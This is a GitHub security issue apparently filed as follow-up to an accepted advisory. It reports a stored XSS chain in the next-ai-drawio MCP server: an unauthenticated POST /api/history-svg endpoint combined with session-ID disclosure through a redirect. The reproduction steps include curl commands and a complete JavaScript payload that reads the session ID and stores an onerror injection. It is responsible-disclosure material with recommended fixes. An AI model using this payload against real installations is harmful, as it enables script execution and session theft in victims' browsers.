Skip to content

[Security] Stored XSS via unauthenticated POST /api/history-svg (chained with session ID disclosure) #914

Description

@HK4zCzi

Note: A private security advisory for this issue has already been opened and accepted (GHSA-rv7m-56x2-7q2c). Filing this issue as requested to track a CVE request / follow up, per the maintainer's guidance.

Summary

The POST /api/history-svg endpoint accepts an arbitrary svg string from any caller without authentication and writes it directly to the server-side history store. When a legitimate user later opens the History panel, the server renders all stored svg values via innerHTML without sanitization, executing the attacker's JavaScript in the localhost origin.

Combined with a session-ID disclosure issue (GET / auto-redirects to /?mcp=<mostRecentSessionId> when no session is specified), this becomes a one-click stored XSS chain: the attacker only needs to send a single link, and no further interaction is required after the victim clicks it.

Details

Write side — no authentication (http-server.ts, lines 429–456)

function handleHistorySvgApi(req, res): void {
    // no token, no session check, no API key — any caller accepted
    readBody(req, res, (body) => {
        const { sessionId, svg } = JSON.parse(body)
        updateLastHistorySvg(sessionId, svg)   // raw svg written to store
        res.writeHead(200, …)
    })
}

Read side — DOM XSS sink (lines 991–996)

historyGrid.innerHTML = historyData.map((e, i) => `
    <div class="history-item" data-idx="${e.index}">
        <div class="thumb">${e.svg ? `<img src="${e.svg}">` : '#' + e.index}</div>
        …
    </div>
`).join('');

e.svg is inserted verbatim into an <img src="..."> attribute. A value like x" onerror="alert(1) closes the src attribute and injects an event handler.

Session ID disclosure (http-server.ts, lines 267–273)

if (!sessionId) {
    const recentSessionId = getMostRecentSessionId()
    if (recentSessionId) {
        res.writeHead(302, { Location: `/?mcp=${recentSessionId}` })
        res.end(); return
    }
}

Any script — including injected XSS — can call fetch('/') and read the real session ID from the redirect URL.

Environment used for verification

  • Package: @next-ai-drawio/mcp-server@0.2.1, built from source (npm run build)
  • Server started via the real MCP entry point over stdio: node dist/index.js
  • MCP tools called in sequence: start_session → create_new_diagram
  • HTTP server auto-started on http://localhost:6002

Reproduction steps

  1. Confirm the session ID is discoverable without auth:

    curl -s -o /dev/null -w "%{redirect_url}" http://localhost:6002/

    Output: http://localhost:6002/?mcp=mcp-XXXXXXXX-XXXXXX

  2. Craft a payload that reads the real session ID and posts an XSS payload to /api/history-svg:

    ";(fetch('/').then(r=>{const s=new URL(r.url).searchParams.get('mcp');fetch('/api/history-svg',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({sessionId:s,svg:'x" onerror="alert(document.domain)'})})}));//
    

    Deliver this via the ?mcp= parameter as a single link to the victim.

  3. Victim opens the link. In the background, the script fetches the real session ID and silently stores the XSS payload via POST /api/history-svg — no authentication required, response is {"success":true}.

  4. Verify storage:

    curl -s "http://localhost:6002/api/history?sessionId=<SESSION_ID>"

    The stored entry contains "svg":"x\" onerror=\"alert(document.domain)".

Image
  1. Victim opens their real session and clicks "History". renderHistory() sets innerHTML with the stored payload, triggering onerror and executing arbitrary JS in the localhost origin — e.g. exfiltrating cookies/session data to an attacker server.
Image

Impact

  • Any user whose MCP HTTP server processes a diagram session that an attacker has manipulated is affected.
  • Attacker only needs network access to localhost (direct, shared machine, or via an SSRF/reflected-XSS chain).
  • Unlike a one-off reflected XSS, the stored payload executes for every user who later opens the History panel for that session, with no further attacker action needed.
  • Injected JavaScript has full access to all /api/* endpoints in the localhost origin.

Recommended fix

1. Authenticate POST /api/history-svg:

import { randomBytes } from "node:crypto"
const SERVER_TOKEN = randomBytes(32).toString("hex")

function handleHistorySvgApi(req, res): void {
    if (req.headers["x-mcp-token"] !== SERVER_TOKEN) {
        res.writeHead(401, { "Content-Type": "application/json" })
        res.end(JSON.stringify({ error: "Unauthorized" }))
        return
    }
    // existing logic
}

2. Sanitize svg before storing / rendering:

function isSafeSvg(svg: string): boolean {
    return /^data:image\/svg\+xml;base64,[A-Za-z0-9+/=]+$/.test(svg)
        || /^\/[^<>"']+$/.test(svg)
}

And avoid innerHTML on the client — build the <img> element via document.createElement instead, or sanitize with [DOMPurify](https://github.com/cure53/DOMPurify).

Affected versions

  • next-ai-drawio/mcp-server <= 0.2.1 (bundled in next-ai-draw-io <= 0.4.16)

Weaknesses

  • CWE-79 — Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)
  • CWE-862 — Missing Authorization

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions